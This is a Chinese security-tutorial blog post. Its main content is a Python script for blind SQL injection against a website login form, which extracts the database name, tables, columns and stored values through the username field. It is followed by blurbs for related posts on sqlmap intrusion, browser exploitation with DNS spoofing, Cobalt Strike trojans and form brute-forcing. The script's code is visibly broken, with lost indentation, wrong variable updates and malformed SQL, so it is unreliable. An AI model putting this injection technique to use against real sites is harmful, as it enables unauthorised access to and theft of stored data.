从零开始学安全(三十五)●mysql 盲注手工自定义python脚本
import requests
import string
#mysql 手动注入 通用脚本 适用盲注 可以跟具自己的需求更改
def home():
url="url"
list=string.digits+string.letters+"!@#$%^&*()_+{}-=<>,./?"
s=requests.session()
success = "" # 成功返回的特征
error="" #失败返回的体征
# 1.拿到当前连接数据库长度
leng=0
i=0
while True:
sql="admin%1$\\' or length(database())>"+str(i)+"#"
data={"username":sql,"passwrod":1}
r=s.post(url,data=data).content
if error in r :
leng=i
i=0
break
i+=1
print ("length the database:%d" %leng)
#2.拿到当前连接数据库名
strs=''
for t in range(leng):
for l in list:
sql="admin%1$\\' or ascii(substr(database(),"+str(t)+",1))="+str(ord(l))+"#"
data = {"username": sql, "passwrod": 1}
r=s.post(url,data=data).content
if success in r:
strs+=strs
break
print("database is :%s" % (strs))
#3.拿当前数据库里面的所有表
#拿到数据库表添加的长度
while True:
sql="admin%1$\\' or select length(group_concat(table_name)) from information_schema.tables where table_type='base table' and table_schema=database()<"+i+"#"
data = {"username": sql, "passwrod": 1}
r = s.post(url, data=data).content
if error in r:
leng=i
i=0
break
i+=1
print("length table is :%s" % (leng))
#返回所有表
for t in range(leng):
for l in list:
sql = "admin%1$\\' or ascii(substr(select group_concat(table_name) from information_schema.tables where table_type='base table' and table_schema=database(),"+str(t)+",1))="+str(ord(l))+"#"
data = {"username": sql, "passwrod": 1}
r=s.post(url,data=data).content
if success in r:
strs+=strs
break
print("talbes is :%s" % (strs))
#4.选择先要查询的表 返回表所有字段
#返回长度
table='table'#要查找的表名
tablename = '0x' + table.encode('hex')
table_name = table
while True:
sql = "admin%1$\\' or select length(group_concat(column_name)) from information_schema.columns where table_name='"+table_name+"' and table_schema=database()<" + i + "#"
data = {"username": sql, "passwrod": 1}
r = s.post(url, data=data).content
if error in r:
leng = i
i = 0
break
i += 1
print("length table is :%s" % (leng))
# 返回所有表
for t in range(leng):
for l in list:
sql = "admin%1$\\' or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='"+table_name+"' and table_schema=database()," + str(
t) + ",1))=" + str(ord(l)) + "#"
data = {"username": sql, "passwrod": 1}
r = s.post(url, data=data).content
if success in r:
strs += strs
break
print("talbes is :%s" % (strs))
# 5.返回相应字段里面的值
num=0
while True:
sql = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
data = {'username':sql,'password':1}
r = s.post(url,data=data).content
if error in r:
num = i
i=0
break
i+=1
pass
print("[+]number(column): %d" %(num))
# 返回长度
table = 'table' # 要查找的表名
col='user'#要返回的字段
for t in range(leng):
for l in list:
sql = "admin%1$\\' or ascii(substr(select "+col+" from limit 0,1 "+table_name+","+str(t)+",1))=" + str(ord(l)) + "#"
data = {"username": sql, "passwrod": 1}
r = s.post(url, data=data).content
if success in r:
strs += strs
break
print("talbes is :%s" % (strs))
从零开始学安全(三十五)●mysql 盲注手工自定义python脚本的更多相关文章
- 从零开始学安全(三十)●使用sqlmap对网站一步步渗透
常规注入步骤第一步注入点-u "url" 判断是否是注入点 有就判断用户的权限第二步获取数据库 所有的 -u "url" --dbs第三步 查看应用程序所有数据 ...
- Python学习日记(三十五) Mysql数据库篇 三
使用Navicate 创建一个连接去使用Mysql的数据库,连接名可以取任意字符但是要有意义 新增一个数据库 填写新数据库名,设置它的字符集和排序规则 新建一个表 增加表中的信息 点击保存再去输入表名 ...
- 三十五.MySQL读写分离 MySQL多实例 、MySQL性能调优
1.实现MySQL读写分离 搭建一主一从结构 配置maxscale代理服务器 测试分离配置 1.1 搭建一主一从结构 192.168.4.51 主 192.168.4.52 从 测试OK 1. ...
- 从零开始学安全(四十五)●browser_autopwn2漏洞利用配合Ettercap工具实施DNS欺骗攻击
系统:kali 2019 工具Ettercap,Metasploit 环境内网地址 首先 cd /etc/ettercap/ 移动在ettercap 文件下 在用vim 打开编辑 etter.dns ...
- 从零开始学安全(三十九)●FCK编辑器解析漏洞
fck 现在存在漏洞的本版分别是 2.4.2 ,2.4.4,2.6.6 可以在 查看版本 2.4.2 在 图片域有上传点 2.4.4 这里有几个按钮,首先是 Get Folders and Files ...
- 从零开始学安全(三十八)●cobaltstrike生成木马抓肉鸡
链接:https://pan.baidu.com/s/1qstCSM9nO95tFGBsnYFYZw 提取码:w6ih 上面是工具 需要java jdk 在1.8.5 以上 实验环境windows ...
- 从零开始学安全(三十六)●利用python 爆破form表单
import sys import requests from requests.auth import HTTPBasicAuth def Brute_Force_Web(postData): re ...
- 从零开始学安全(三十四)●百度杯 ctf比赛 九月场 sqli
先扫后台发现 两个可疑登录界面 l0gin.php login.php 猜测是第一个 用bp 抓包发现 index.php 中间有302 重定向 头文件 里面有一个 page=l0gin.php 应该 ...
- 从零开始学安全(二十五)●用nmap做端口扫描
以上是常用的端口扫描 -T 用法 每个级别发包时间 当没有使用T 时默认的使用T3级别发包 半开扫描 先探测主机是否存活 再用-sS 扫描端口 容易造成syn 包攻击 就是利用僵尸主机 进 ...
随机推荐
- Ubuntu上安装使用WeChat、TIM
WeChat可以直接到软件商店安装,不过是网页版...(其实个人感觉还行,就是什么都不能设置就挺蛋疼的,字体大小.背景什么的) 以下是网上找到的教程,在此总结一下: 下载地址:https://gith ...
- macOS实现视频转音频以及音频拼接
macOS实现视频转音频以及音频拼接 ffmpeg 的安装 终端输入以下指令: brew install ffmpeg 视频转音频 终端输入以下指令: ffmpeg -i 视频名称.flv -vn - ...
- 手动安装OpenCV下的IPP加速库
写在前面 安装opencv的时候,往往会卡在这里: IPPICV: Download: ippicv_2019_lnx_intel64_general_20180723.tgz 其实就是墙的原因,然后 ...
- 别以为真懂Openstack: 虚拟机创建的50个步骤和100个知识点(3)
四.Nova-compute 步骤17:nova-compute接收到请求后,通过Resource Tracker将创建虚拟机所需要的资源声明占用 步骤18:调用Neutron API配置Networ ...
- 老桂.net core系列课程
为了支持"首届dnc开源峰会"(dncNew.com)顺利举办,本人<.net core系列课程>进行一波优惠,每个课程优惠在立即购买上方,领取现金券即可.课程地址为腾 ...
- 轻量级C#网络通信组件StriveEngine —— C/S通信开源demo(附源码)
前段时间,有几个研究ESFramework网络通讯框架的朋友对我说,ESFramework有点庞大,对于他们目前的项目来说有点“杀鸡用牛刀”的意思,因为他们的项目不需要文件传送.不需要P2P.不存在好 ...
- 反爬虫:利用ASP.NET MVC的Filter和缓存(入坑出坑)
背景介绍: 为了平衡社区成员的贡献和索取,一起帮引入了帮帮币.当用户积分(帮帮点)达到一定数额之后,就会“掉落”一定数量的“帮帮币”.为了增加趣味性,帮帮币“掉落”之后所有用户都可以“捡取”,谁先捡到 ...
- 【安富莱】【RL-TCPnet网络教程】第7章 RL-TCPnet网络协议栈移植(裸机)
第7章 RL-TCPnet网络协议栈移植(裸机) 本章教程为大家讲解RL-TCPnet网络协议栈的裸机移植方式,学习了上个章节讲解的底层驱动接口函数之后,移植就比较容易了,主要是添加库文 ...
- AIO系列文档(2)----TIO使用
AIO系列文档(1)----图解ByteBuffer中介绍了ByteBuffer用法,下面通过介绍t-io介绍如何使用: hello world例子简介 本例子演示的是一个典型的TCP长连接应用,代码 ...
- Java开发快速上手
Java开发快速上手 前言 1.我的大学 2.对初学者的建议 3.大牛的三大特点 4.与他人的差距 第一章 了解Java开发语言 前言 基础常识 1.1 什么是Java 1.1.1 跨平台性 1.2 ...